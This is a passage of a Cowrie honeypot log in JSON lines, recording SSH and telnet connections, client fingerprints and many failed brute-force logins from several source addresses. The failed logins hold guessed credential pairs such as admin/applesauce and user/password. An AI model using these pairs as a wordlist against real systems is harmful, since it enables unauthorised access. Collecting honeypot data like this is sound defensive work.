a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:26.916402Z","src_ip":"31.40.204.166","session":"012e45d7979a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:27.526645Z","src_ip":"31.40.204.166","session":"012e45d7979a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:28.721914Z","src_ip":"31.40.204.166","session":"012e45d7979a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.7795889377594,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:30.497045Z","src_ip":"152.42.224.71","session":"3e5e58f688c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"50009f69041b","protocol":"telnet","message":"New connection: 152.42.224.71:39462 (10.17.0.5:23) [session: 50009f69041b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:37.565484Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"e17a4322bc77","protocol":"ssh","message":"New connection: 31.40.204.166:38140 (159.203.135.109:22) [session: e17a4322bc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:38.286647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:38.291083Z","src_ip":"31.40.204.166","session":"e17a4322bc77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:38.424651Z","src_ip":"31.40.204.166","session":"e17a4322bc77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:39.094810Z","src_ip":"31.40.204.166","session":"e17a4322bc77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"10eed1b8d53c","protocol":"telnet","message":"New connection: 152.42.224.71:39478 (10.17.0.5:23) [session: 10eed1b8d53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:39.799777Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39484,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2dbf14b87d","protocol":"telnet","message":"New connection: 152.42.224.71:39484 (10.17.0.5:23) [session: 8f2dbf14b87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:40.018687Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:40.779143Z","src_ip":"31.40.204.166","session":"e17a4322bc77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.5130615234375,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:42.911326Z","src_ip":"152.42.224.71","session":"51feca4309df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00613903999329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:47.864090Z","src_ip":"152.42.224.71","session":"8de5b2a1969d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56300,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e9297d63a93","protocol":"ssh","message":"New connection: 31.40.204.166:56300 (159.203.135.109:22) [session: 6e9297d63a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:49.683228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:49.690784Z","src_ip":"31.40.204.166","session":"6e9297d63a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:49.814282Z","src_ip":"31.40.204.166","session":"6e9297d63a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45962,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b86d9bae12","protocol":"telnet","message":"New connection: 152.42.224.71:45962 (10.17.0.5:23) [session: 05b86d9bae12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:49.824503Z"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:50.388816Z","src_ip":"31.40.204.166","session":"6e9297d63a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":115.99626445770264,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:50.472937Z","src_ip":"152.42.224.71","session":"e9bdbc70f85c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a7df4674d96","protocol":"telnet","message":"New connection: 152.42.224.71:45974 (10.17.0.5:23) [session: 7a7df4674d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:50.844015Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:51.512302Z","src_ip":"31.40.204.166","session":"6e9297d63a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da0ad1cce97","protocol":"telnet","message":"New connection: 152.42.224.71:45978 (10.17.0.5:23) [session: 4da0ad1cce97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:51.706940Z"}
{"eventid":"cowrie.session.closed","duration":120.00212073326111,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:52.304651Z","src_ip":"152.42.224.71","session":"f8dc00577232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45986,"dst_ip":"10.17.0.5","dst_port":23,"session":"4122145f110b","protocol":"telnet","message":"New connection: 152.42.224.71:45986 (10.17.0.5:23) [session: 4122145f110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:54.024616Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41101,"dst_ip":"10.17.0.5","dst_port":22,"session":"6044435f3712","protocol":"ssh","message":"New connection: 2.57.121.25:41101 (10.17.0.5:22) [session: 6044435f3712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:55.837763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:55.842187Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:55.940698Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240784","message":"login attempt [user/240784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:56.397213Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020272731781,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:57.040745Z","src_ip":"152.42.224.71","session":"ae773160682f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061981","message":"login attempt [user/24061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:57.495207Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106692314148,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:57.800293Z","src_ip":"152.42.224.71","session":"76a09abb7c92","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"240590","message":"login attempt [user/240590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:58.593944Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041995","message":"login attempt [user/24041995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:59.692674Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240388","message":"login attempt [user/240388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:00.790905Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:01.890187Z","src_ip":"2.57.121.25","session":"6044435f3712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"69bdda40d4d6","protocol":"ssh","message":"New connection: 31.40.204.166:36932 (159.203.135.109:22) [session: 69bdda40d4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.080750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.097735Z","src_ip":"31.40.204.166","session":"69bdda40d4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.216645Z","src_ip":"31.40.204.166","session":"69bdda40d4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.889748Z","src_ip":"31.40.204.166","session":"69bdda40d4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":29945,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d67a37a805","protocol":"ssh","message":"New connection: 2.57.121.112:29945 (10.17.0.5:22) [session: 07d67a37a805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.922599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:02.927852Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:03.030434Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aprils","message":"login attempt [admin/aprils] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:03.510560Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45072,"dst_ip":"10.17.0.5","dst_port":23,"session":"370ed2882526","protocol":"telnet","message":"New connection: 152.42.224.71:45072 (10.17.0.5:23) [session: 370ed2882526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:03.709317Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:04.092055Z","src_ip":"31.40.204.166","session":"69bdda40d4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4e27c7b686","protocol":"telnet","message":"New connection: 152.42.224.71:45088 (10.17.0.5:23) [session: 9e4e27c7b686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:04.335150Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"april17","message":"login attempt [admin/april17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:04.614368Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e1701b1f1c4","protocol":"telnet","message":"New connection: 152.42.224.71:45100 (10.17.0.5:23) [session: 2e1701b1f1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:05.641473Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"applesauce","message":"login attempt [admin/applesauce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:05.719936Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"apache1","message":"login attempt [admin/apache1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:06.824948Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.636925220489502,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:07.655482Z","src_ip":"152.42.224.71","session":"8f2dbf14b87d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.72188472747803,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:07.891748Z","src_ip":"152.42.224.71","session":"6b7f25c214f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"antiques","message":"login attempt [admin/antiques] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:07.929511Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:09.034314Z","src_ip":"2.57.121.112","session":"07d67a37a805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00439429283142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:12.718394Z","src_ip":"152.42.224.71","session":"ed52bc334215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.80296969413757,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.152919Z","src_ip":"152.42.224.71","session":"2a113d760a03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.77402830123901,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.184380Z","src_ip":"152.42.224.71","session":"6d6891857df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":48082,"dst_ip":"10.17.0.5","dst_port":22,"session":"e023309f3f7c","protocol":"ssh","message":"New connection: 51.79.99.235:48082 (10.17.0.5:22) [session: e023309f3f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.395017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:13.400003Z","src_ip":"51.79.99.235","session":"e023309f3f7c","protocol":"ssh"}
